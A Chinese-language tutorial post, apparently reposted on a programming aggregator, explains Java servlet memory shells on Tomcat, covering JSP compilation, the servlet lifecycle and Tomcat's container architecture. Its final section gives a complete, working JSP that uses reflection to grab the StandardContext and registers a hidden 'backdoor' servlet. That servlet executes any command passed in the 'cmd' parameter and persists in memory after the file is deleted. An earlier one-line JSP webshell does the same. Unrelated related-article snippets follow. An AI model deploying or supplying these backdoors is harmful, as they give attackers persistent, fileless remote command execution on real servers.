Java安全之servlet内存马分析

news2024/11/28 21:50:32

目录

前言 

什么是中间键

了解jsp的本质

理解servlet运行机制

servlet的生命周期

Tomcat总体架构

 查看Context 的源码

servlet内存马实现

参考


前言 

php和jsp一句话马我想大家都知道,早先就听小伙伴说过一句话木马已经过时了,现在是内存马的天下了 ,内存马无落地文件,更隐蔽不易被发现。翻一翻大佬的文章看起来让人云里雾里的,究竟什么是内存马呢?

为了搞清这点我们必须从java的特性底层出发,才能对内存马知根知底。

本节我将介绍

        什么是内存马?

        什么是servlet?

        servlet运行机制

        jsp的本质

        Tomcat总体架构

        注册servlet到tomcat

        注册的流程

        StandardContext类

        servlet内存马的实现

什么是中间键

当我们发送一个url到服务器,再到服务器返回数据到给用户,这个过程中经历了什么!

我们都知道tomcat 是一个java程序的中间件,为什么这么说呢!

当我们浏览器发出url到web服务器,web服务器谁来处理这些连接请求 处理数据 返回数据?为什么一定要用tomcat不用行不行? tomcat帮我们做了什么?

tomcat的实现底层用到了socket编程 i/o输入输出流 反射调用 线程等技术。想一想如果不用tomcat 我们是否可以用纯java代码来实现这些功能!

了解jsp的本质

我们启用tomcat 把index.jsp复制到tomcat项目目录webapps\testServlet下

<%Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));%>

启动tomcat /bin/startup.bat

访问并传递参数http://127.0.0.1:8080/testServlet/index.jsp?cmd=calc

这里成功运行了jsp的java代码。

我们都知道java不像php语言一样,它是由java编译后运行的。编译器是怎么理解jsp的呢? 是什么机制?

我们可以打开tomcat的工作空间\apache-tomcat-8.0.50\work\Catalina\localhost\testServlet\org\apache\jsp

查看对应项目的反编译文件class类

 查看index_jsp.java

/*
 * Generated by the Jasper component of Apache Tomcat
 * Version: Apache Tomcat/8.0.50
 * Generated at: 2023-09-xx 02:06:44 UTC
 * Note: The last modified time of this file was set to
 *       the last modified time of the source file after
 *       generation to assist with modification tracking.
 */
package org.apache.jsp;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.jsp.*;

public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase
    implements org.apache.jasper.runtime.JspSourceDependent,
                 org.apache.jasper.runtime.JspSourceImports {

  private static final javax.servlet.jsp.JspFactory _jspxFactory =
          javax.servlet.jsp.JspFactory.getDefaultFactory();

  private static java.util.Map<java.lang.String,java.lang.Long> _jspx_dependants;

  private static final java.util.Set<java.lang.String> _jspx_imports_packages;

  private static final java.util.Set<java.lang.String> _jspx_imports_classes;

  static {
    _jspx_imports_packages = new java.util.HashSet<>();
    _jspx_imports_packages.add("javax.servlet");
    _jspx_imports_packages.add("javax.servlet.http");
    _jspx_imports_packages.add("javax.servlet.jsp");
    _jspx_imports_classes = null;
  }

  private volatile javax.el.ExpressionFactory _el_expressionfactory;
  private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager;

  public java.util.Map<java.lang.String,java.lang.Long> getDependants() {
    return _jspx_dependants;
  }

  public java.util.Set<java.lang.String> getPackageImports() {
    return _jspx_imports_packages;
  }

  public java.util.Set<java.lang.String> getClassImports() {
    return _jspx_imports_classes;
  }

  public javax.el.ExpressionFactory _jsp_getExpressionFactory() {
    if (_el_expressionfactory == null) {
      synchronized (this) {
        if (_el_expressionfactory == null) {
          _el_expressionfactory = _jspxFactory.getJspApplicationContext(getServletConfig().getServletContext()).getExpressionFactory();
        }
      }
    }
    return _el_expressionfactory;
  }

  public org.apache.tomcat.InstanceManager _jsp_getInstanceManager() {
    if (_jsp_instancemanager == null) {
      synchronized (this) {
        if (_jsp_instancemanager == null) {
          _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig());
        }
      }
    }
    return _jsp_instancemanager;
  }

  public void _jspInit() {
  }

  public void _jspDestroy() {
  }

  public void _jspService(final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response)
        throws java.io.IOException, javax.servlet.ServletException {

final java.lang.String _jspx_method = request.getMethod();
if (!"GET".equals(_jspx_method) && !"POST".equals(_jspx_method) && !"HEAD".equals(_jspx_method) && !javax.servlet.DispatcherType.ERROR.equals(request.getDispatcherType())) {
response.sendError(HttpServletResponse.SC_METHOD_NOT_ALLOWED, "JSPs only permit GET POST or HEAD");
return;
}

    final javax.servlet.jsp.PageContext pageContext;
    javax.servlet.http.HttpSession session = null;
    final javax.servlet.ServletContext application;
    final javax.servlet.ServletConfig config;
    javax.servlet.jsp.JspWriter out = null;
    final java.lang.Object page = this;
    javax.servlet.jsp.JspWriter _jspx_out = null;
    javax.servlet.jsp.PageContext _jspx_page_context = null;


    try {
      response.setContentType("text/html");
      pageContext = _jspxFactory.getPageContext(this, request, response,
      			null, true, 8192, true);
      _jspx_page_context = pageContext;
      application = pageContext.getServletContext();
      config = pageContext.getServletConfig();
      session = pageContext.getSession();
      out = pageContext.getOut();
      _jspx_out = out;

Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
      out.write('\r');
      out.write('\n');
    } catch (java.lang.Throwable t) {
      if (!(t instanceof javax.servlet.jsp.SkipPageException)){
        out = _jspx_out;
        if (out != null && out.getBufferSize() != 0)
          try {
            if (response.isCommitted()) {
              out.flush();
            } else {
              out.clearBuffer();
            }
          } catch (java.io.IOException e) {}
        if (_jspx_page_context != null) _jspx_page_context.handlePageException(t);
        else throw new ServletException(t);
      }
    } finally {
      _jspxFactory.releasePageContext(_jspx_page_context);
    }
  }
}

可以看到我们写的jsp代码在index_jsp类中定义,而index_jsp类继承了org.apache.jasper.runtime.HttpJspBase

为了找到这个类,我们可以先找到jasper.jar这个包 在随便添加到某个项目里,查看里面的文件

package org.apache.jasper.runtime;

import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.jsp.HttpJspPage;
import org.apache.jasper.compiler.Localizer;

public abstract class HttpJspBase extends HttpServlet implements HttpJspPage {
    private static final long serialVersionUID = 1L;

    protected HttpJspBase() {
    }

    public final void init(ServletConfig config) throws ServletException {
        super.init(config);
        this.jspInit();
        this._jspInit();
    }

    public String getServletInfo() {
        return Localizer.getMessage("jsp.engine.info");
    }

    public final void destroy() {
        this.jspDestroy();
        this._jspDestroy();
    }

    public final void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this._jspService(request, response);
    }

    public void jspInit() {
    }

    public void _jspInit() {
    }

    public void jspDestroy() {
    }

    protected void _jspDestroy() {
    }

    public abstract void _jspService(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException;
}

 可以明确看到HttpJspBase 继承了HttpServlet类

可以说jsp的本质就是一个HttpServlet类

理解servlet运行机制

我们正常的servlet怎么写!

@WebServlet("/test")
public class TestServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //super.doGet(req, resp);
        resp.getWriter().write("hello world");
    } 

我们使用注解的方式,建立url地址/test 对应Servlet TestServlet类,重写doGet 向客户端返回hello world

浏览器访问 http://127.0.0.1:8080/testServlet/test

 

 tomcat 是怎么处理调用这个类的!

简单来说 tomcat程序会扫描项目中的@WebServlet 获取相应的字符串,在通过反射的方式,实例化这个对象,在对应socket连接输入输出流的基础上创建线程,调用Servlet 其中request请求对象也传了进去(也是由tomcat收集请求信息创建的对象)。调用service方法再根据请求参数调用相应的处理方法比如doget方法。

servlet的生命周期

实际上tomcat维护了一个大的hashmap<id,Servlet> 里面存放着servlet实例,当我们第一次尝试访问这个servlet路径时,tomcat使用反射将该servlet实例化同时调用init() 作初始化,之后这个实例就存放在了tomcat维护的hashmap<id,Servlet>中供后续使用。当再次请求这个servlet资源的时候,由于hashmap<id,Servlet>已经有这个实例 ,所以这时也不用再实例化对象,直接就可以使用了,因此init() 也不会调用。

可以看出 servlet 自实例化以来就一直可以常驻内存中,直到服务器关闭或Servlet调取destroy()方法进行销毁,Servlet生命周期才正式结束。

既然jsp可以执行java代码,servlet也是java代码一步一步地走出来的,那么我们是否可以用jsp手写底层逻辑再注册一个servlet呢! 如果tomcat中有一个servlet可以为攻击者所用,是不是就是说,有一个隐藏的后门,考虑到servlet的生命周期这个后门就是常驻内存的持久化的后门!

这就是所谓的--------------内存马

Tomcat总体架构

 对照上面的关系图

Server:Server容器就代表一个Tomcat实例(Catalina实例),其下可以有一个或者多个Service容器;

从Tomcat安装目录下的/conf/server.xml 文件里可以看到最顶层的是server。

 

Service:Service是提供具体对外服务的(默认只有一个),一个Service容器中又可以有多个Connector组件(监听不同端口请求,解析请求)和一个Servlet容器(做具体的业务逻辑处理);Service组件本身没做其他事

Engine和Host:Engine组件(引擎)是Servlet容器Catalina的核心,它支持在其下定义多个虚拟主机(Host),虚拟主机允许Tomcat引擎在将配置在一台机器上的多个域名,比如www.baidu.com、www.bat.com分割开来互不干扰;

Context:每个虚拟主机又可以支持多个web应用部署在它下边,这就是我们所熟知的上下文对象Context,上下文是使用由Servlet规范中指定的Web应用程序格式表示,不论是压缩过的war包形式的文件还是未压缩的目录形式;

Wrapper:在上下文中又可以部署多个servlet,并且每个servlet都会被一个包装组件(Wrapper)所包含(一个wrapper对应一个servlet)

怎么理解Engine Host Context Wrapper 这四者之间的关系呢? 抛开晦涩难懂的术语 或许我们用java的特性会更好理解点,基于万物皆可对象。

Engine: 我们可以直接把他理解为tomcat,一个tomcat 一个Engine;若我们想运行一个网站首先要下载安装tomcat对吧!

Host: host可以理解为一个虚拟主机,为什么是虚拟? 想一想我们的一台电脑(主机)只能开启一个web服务吗!并不是吧,我们可以绑定不同端口或者不同域名来开启一个或多个web服务。在外部看来就好像多台主机启动一样,但实际上它们都是一台主机开启的。为了描述这种技术我们将其称之为虚拟主机;当我们下载安装好后,一定会考虑配置tomcat要监听的网卡和要监听的端口甚至是域名,对吧!

Context :很多人说这是上下文!那你能说说什么是上下文吗!不要用术语去解释术语,当然这也有可能是翻译问题。我们看看官方怎么说的Apache Tomcat 7 Configuration Reference (7.0.109) - The Context Containericon-default.png?t=N7T8https://tomcat.apache.org/tomcat-7.0-doc/config/context.html

The Context element represents a web application, which is run within a particular virtual host. Each web application is based on a Web Application Archive (WAR) file, or a corresponding directory containing the corresponding unpacked contents, as described in the Servlet Specification (version 2.2 or later). For more information about web application archives, you can download the Servlet Specification, and review the Tomcat Application Developer's Guide.

------------换句话说可以把这个理解为webapps目录下的目录,一个context就是一个目录,万物皆对象嘛!

对于我们的servlet程序(本质就是一个java类)肯定是存在于目录(Context)下对吧!故在这个世界中它的创建销毁是交给了context对象来管理。

举个例子 来加深下Context 的理解

在server.xml 配置如下 ;写在host标签下

<Context path="/myapp" docBase="C:/path/to/myapp" />

在上面的示例中,使用了一个 <Context> 标签来为名为 "myapp" 的上下文进行配置。通过设置 path 属性为 "/myapp",将应用程序的上下文路径设置为 "/myapp"。用程序的部署目录在本地文件系统上的路径为 C:/path/to/myapp。这个路径可以是包含应用程序源代码、配置文件和资源的目录。在访问该应用程序时,需要使用类似于 http://localhost:8080/myapp 的 URL即可。

Wrapper 就是servlet了,此次我们重点要关注的是servlet的创建注册,由于它的创建交由Context管理。故我们把重点放到Context 上,寻求注册servlet的方法。

 查看Context 的源码

源码下载Apache Tomcat® - Apache Tomcat 8 Software Downloads

参考文章最近迷上了源码,Tomcat源码,看我这篇就够了 - 掘金 (juejin.cn)

我们来到包package org.apache.catalina.startup;下 找到contextconfig.java 文件;代码两千多行,尝试搜索create找到创建servlet(wrapper)相关代码。代码定位在1282行

 for (ServletDef servlet : webxml.getServlets().values()) {
            Wrapper wrapper = context.createWrapper();
            // Description is ignored
            // Display name is ignored
            // Icons are ignored

            // jsp-file gets passed to the JSP Servlet as an init-param

            if (servlet.getLoadOnStartup() != null) {
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
            Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
            for (SecurityRoleRef roleRef : roleRefs) {
                wrapper.addSecurityReference(
                        roleRef.getName(), roleRef.getLink());
            }
            wrapper.setServletClass(servlet.getServletClass());
            MultipartDef multipartdef = servlet.getMultipartDef();
            if (multipartdef != null) {
                long maxFileSize = -1;
                long maxRequestSize = -1;
                int fileSizeThreshold = 0;

                if(null != multipartdef.getMaxFileSize()) {
                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
                }
                if(null != multipartdef.getMaxRequestSize()) {
                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
                }
                if(null != multipartdef.getFileSizeThreshold()) {
                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
                }

                wrapper.setMultipartConfigElement(new MultipartConfigElement(
                        multipartdef.getLocation(),
                        maxFileSize,
                        maxRequestSize,
                        fileSizeThreshold));
            }
            if (servlet.getAsyncSupported() != null) {
                wrapper.setAsyncSupported(
                        servlet.getAsyncSupported().booleanValue());
            }
            wrapper.setOverridable(servlet.isOverridable());
            context.addChild(wrapper);
        }
        for (Entry<String, String> entry :
                webxml.getServletMappings().entrySet()) {
            context.addServletMappingDecoded(entry.getKey(), entry.getValue());
        }

 这段代码片段是在处理Servlet的配置信息,并根据配置信息创建相应的Wrapper对象。具体的逻辑如下:

  1. 遍历webxml中所有的Servlet,使用一个增强型for循环,每次迭代将当前的ServletDef对象赋值给servlet变量。

  2. 创建一个Wrapper对象,并设置一些基本属性,如名称、是否启用等。

  3. 获取Servlet的参数集合,并将每个参数添加到Wrapper的初始化参数中。

  4. 设置Servlet的执行权限。

  5. 添加与Servlet相关的安全角色引用。

  6. 设置Servlet的类名。

  7. 处理Servlet的多部分配置,包括文件大小限制、上传位置等。

  8. 设置是否支持异步请求。

  9. 设置是否允许覆盖。

  10. 将创建的Wrapper对象添加到上下文(Context)中。

通过以上步骤,这段代码实现了对webxml中所有Servlet的遍历和配置处理,并将其对应的Wrapper对象添加到上下文中,以便后续的Servlet的加载和运行。

11.实现将Servlet与URL模式进行映射,并将映射关系添加到上下文中,以便后续请求匹配对应的Servlet进行处理。

基于以上代码我们需要做简单的修改,保留关键部分的代码

Wrapper wrapper = context.createWrapper();

wrapper.setName(servlet.getServletName());

wrapper.setServletClass(servlet.getServletClass());

context.addChild(wrapper);

context.addServletMappingDecoded(entry.getKey(), entry.getValue());

这段代码的作用是创建一个Wrapper对象,并将其添加到上下文中,同时将Servlet与URL模式进行映射。具体逻辑如下:

  1. 创建一个Wrapper对象,调用上下文(Context)的createWrapper()方法,返回一个新的Wrapper实例,并将其赋值给wrapper变量。

  2. 设置Wrapper的名称,即调用setName()方法,将Servlet的名称(servletName)设置为Wrapper的名称。

  3. 设置Wrapper的Servlet类名,即调用setServletClass()方法,将Servlet的类名(servletClass)设置为Wrapper的Servlet类名。

  4. 将创建的Wrapper对象添加到上下文中,即调用上下文的addChild()方法,将Wrapper作为子元素添加到上下文中。

  5. 将Servlet与URL模式进行映射并添加到上下文中,即调用上下文的addServletMappingDecoded()方法,将URL模式和Wrapper的名称作为参数传入,将URL模式与对应的Servlet进行映射。

通过以上步骤,可以实现创建Wrapper对象并将其添加到上下文中,同时将Servlet与URL模式进行映射,以便后续根据URL模式匹配到对应的Servlet进行请求处理。

 由于context为接口 ,我们需要一个实例用context接收 调用createWrapper()方法。

Context,实现类为 org.apache.catalina.core.StandardContext

目前我们有request对象,它其中getServletContext()方法。看看能否找到相关的类StandardContext

servlet内存马实现

servlet后门定义

<%!
public class backdoor extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{
     
        resp.getWriter().write("hello world");
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }

}
%>

获取一个StandardContext对象

<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

创建weapper,注册servlet

<%
Wrapper wrapper = context.createWrapper();
wrapper.setName("backdoor");
wrapper.setServletClass("backdoor");
wrapper.setServlet(new backdoor());



context.addChild(wrapper);
context.addServletMappingDecoded("/backdoor", "backdoor");
%>

和起来的的代码jsp.jsp

//jsp功能实现
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
  <head>
    <title>backdoor</title>
  </head>
  <body>
<h1>backdoor</h1>
<%!
public class backdoor extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse resp) throws IOException{
     
        resp.getWriter().write("hello world");
        Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }

}
%>
<%
    // 一个小路径快速获得StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>



<%
Wrapper wrapper = context.createWrapper();
wrapper.setName("backdoor");
wrapper.setServletClass("backdoor");
wrapper.setServlet(new backdoor());



context.addChild(wrapper);
context.addServletMappingDecoded("/backdoor", "backdoor");
%>

  </body>
</html>

上传jsp.jsp到tomcat项目目录webapps\testServlet下,访问

( 插曲,其实这里出的错不少,一直调啊调,最终才调好。)

貌似执行成功了 ,现在访问我们的servlet 带上参数

 根据理论,现在即使删除jsp.jsp文件,这个路径访问还是会生效。算的上是一个持久化的后门。

只有tomcat重启,这个注册的servlet才会被销毁。

除此之外,我们还可以从监听器 过滤器下手,它们也可以创建内存马,不过本质上都一样,。

参考

Servlet内存马-CSDN博客

最近迷上了源码,Tomcat源码,看我这篇就够了 - 掘金 (juejin.cn)

java内存马专题1-servlet内存马_哔哩哔哩_bilibili

https://tomcat.apache.org/tomcat-7.0-doc/config/context.html

 GPT3.5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1052367.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

力扣:114. 二叉树展开为链表(Python3)

题目&#xff1a; 给你二叉树的根结点 root &#xff0c;请你将它展开为一个单链表&#xff1a; 展开后的单链表应该同样使用 TreeNode &#xff0c;其中 right 子指针指向链表中下一个结点&#xff0c;而左子指针始终为 null 。展开后的单链表应该与二叉树 先序遍历 顺序相同。…

【WebGIS实例】(11)Cesium自定义区域裁剪(挖除挖出)

前言 本篇博客完全参考cesium-地面裁剪(多个剪切面)_cesium clippingplane-CSDN博客&#xff0c;感谢孙霸天大佬提供的实现方法。在此博客的基础上&#xff0c;本篇博客做了以下工作&#xff1a; 修复点位集合逆时针和顺时针导致不同的结果的问题新增了挖出的实现方案创建裁切面…

算法基础课

第一讲 基础算法 快速排序 归并排序 二分 整数二分模板 关键------画一个仅有整数的一维横轴 bool check(int x) {/* ... */} // 检查x是否满足某种性质 // check()判断mid是否满足性质// 区间[l, r]被划分成[l, mid]和[mid 1, r]时使用&#xff1a; int bsearch_1(in…

数据结构--Trie字符串统计

1、“Trie树” 作用&#xff1a; 高效地存储和查找字符串集合的数据结构。 2、“Trie树” 存储字符串的形式如下&#xff1a; 用 “0” 来表示 “根节点&#xff08;root&#xff09;”。存入一个字符串时&#xff0c;会在字符串最后结尾的那个字符节点打上标记。比如&#x…

No163.精选前端面试题,享受每天的挑战和学习

🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云课上架的前后端实战课程《Vue.js 和 Egg.js 开发企业级健康管理项目》、《带你从入…

Java-多线程基础及线程安全

文章目录 1. 线程的状态1.1 观察线程的所有状态1.2 观察线程的转态和转移 2. 多线程带来的风险, 线程安全2.1 观察线程不安全2.2 线程安全的概念2.3 线程不安全的原因2.4解决上述代码的线程不安全问题 3. synchronized 关键字3.1 synchronized 的特性3.2 synchronized 使用示例…

【Leetcode】 450. 删除二叉搜索树中的节点

给定一个二叉搜索树的根节点 root 和一个值 key&#xff0c;删除二叉搜索树中的 key 对应的节点&#xff0c;并保证二叉搜索树的性质不变。返回二叉搜索树&#xff08;有可能被更新&#xff09;的根节点的引用。 一般来说&#xff0c;删除节点可分为两个步骤&#xff1a; 首先…

数学小把戏 6174

Wills健身房的手牌编号就是存放衣服的柜子。 柜子是狭长的L或7型&#xff0c;竖着放刚够塞进双肩背包&#xff0c;偶尔我横过来塞进 L 型底座或7的顶柜。 尴尬来的比偶尔次数还是多一点。 在我换衣服时候&#xff0c;旁边的柜子要打开&#xff0c;压迫感陡然拉满。局促的空间…

黑马程序员 MySQL数据库入门到精通——进阶篇(1)

黑马程序员 MySQL数据库入门到精通——进阶篇&#xff08;1&#xff09; 1. 存储引擎1.1 MySQL体系结构1.2 存储引擎简介1.3 存储引擎特点1.3.1 InnoDB1.3.2 MyISAM1.3.3 Memory1.3.4 三种存储引擎对比 1.4 存储引擎选择 2. 索引2.1 索引概述&#xff08;Index Overview&#x…

css复合选择器

交集选择器 紧紧挨着 <template><div><p class"btn">Click me</p><button class"btn" ref"myButton" click"handleClick">Click me</button></div> </template> <style> but…

内存函数(memcpy、memmove、memset、memcmp)你真的懂了吗?

&#x1f493;博客主页&#xff1a;江池俊的博客⏩收录专栏&#xff1a;C语言进阶之路&#x1f449;专栏推荐&#xff1a;✅C语言初阶之路 ✅数据结构探索&#x1f4bb;代码仓库&#xff1a;江池俊的代码仓库&#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐ 文…

一键智能视频语音转文本——基于PaddlePaddle语音识别与Python轻松提取视频语音并生成文案

前言 如今进行入自媒体行业的人越来越多&#xff0c;短视频也逐渐成为了主流&#xff0c;但好多时候是想如何把视频里面的语音转成文字&#xff0c;比如&#xff0c;录制会议视频后&#xff0c;做会议纪要&#xff1b;比如&#xff0c;网课教程视频&#xff0c;想要做笔记&…

wdb_2018_2nd_easyfmt

wdb_2018_2nd_easyfmt Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8047000)32位只开了NX 这题get到一点小知识&#xff08;看我exp就知道了 int __cdecl __noreturn main(int argc, const char…

字节一面:深拷贝浅拷贝的区别?如何实现一个深拷贝?

前言 最近博主在字节面试中遇到这样一个面试题&#xff0c;这个问题也是前端面试的高频问题&#xff0c;我们经常需要对后端返回的数据进行处理才能渲染到页面上&#xff0c;一般我们会讲数据进行拷贝&#xff0c;在副本对象里进行处理&#xff0c;以免玷污原始数据&#xff0c…

ARP欺骗攻击实操

目录 目录 前言 系列文章列表 全文导图 1&#xff0c;ARP概述 1.1,ARP是什么&#xff1f; 1.2,ARP协议的基本功能 1.3,ARP缓存表 1.4,ARP常用命令 2&#xff0c;ARP欺骗 2.1,ARP欺骗的概述? 2.2,ARP欺骗的攻击手法 3&#xff0c;ARP攻击 3.1,攻击前的准备 3.2,…

数学建模Matlab之评价类方法

大部分方法来自于http://t.csdnimg.cn/P5zOD 层次分析法 层次分析法&#xff08;Analytic Hierarchy Process, AHP&#xff09;是一种结构决策的定量方法&#xff0c;主要用于处理复杂问题的决策分析。它将问题分解为目标、准则和方案等不同层次&#xff0c;通过成对比较和计算…

软件设计模式系列之二十——备忘录模式

备忘录模式目录 1 模式的定义2 举例说明3 结构4 实现步骤5 代码实现6 典型应用场景7 优缺点8 类似模式9 小结 备忘录模式是一种行为型设计模式&#xff0c;它允许我们在不暴露对象内部细节的情况下捕获和恢复对象的内部状态。这个模式非常有用&#xff0c;因为它可以帮助我们实…

HTML——列表,表格,表单内容的讲解

文章目录 一、列表1.1无序&#xff08;unorder&#xff09;列表1.2 有序&#xff08;order&#xff09;列表1.3 定义列表 二、表格**2.1 基本的表格标签2.2 演示 三、表单3.1 form元素3.2 input元素3.2.1 单选按钮 3.3 selcet元素 基础部分点击&#xff1a; web基础 一、列表 …

全面解析‘msvcp140.dll丢失的解决方法’这个问题

msvcp140.dll 是什么东西&#xff1f; msvcp140.dll 是 Microsoft Visual C 2015 Redistributable Package 中的一个动态链接库文件。它包含了 C运行时库中的函数和类&#xff0c;这些函数和类在开发 C应用程序时被广泛使用。msvcp140.dll 的主要作用是在 Windows 操作系统中提…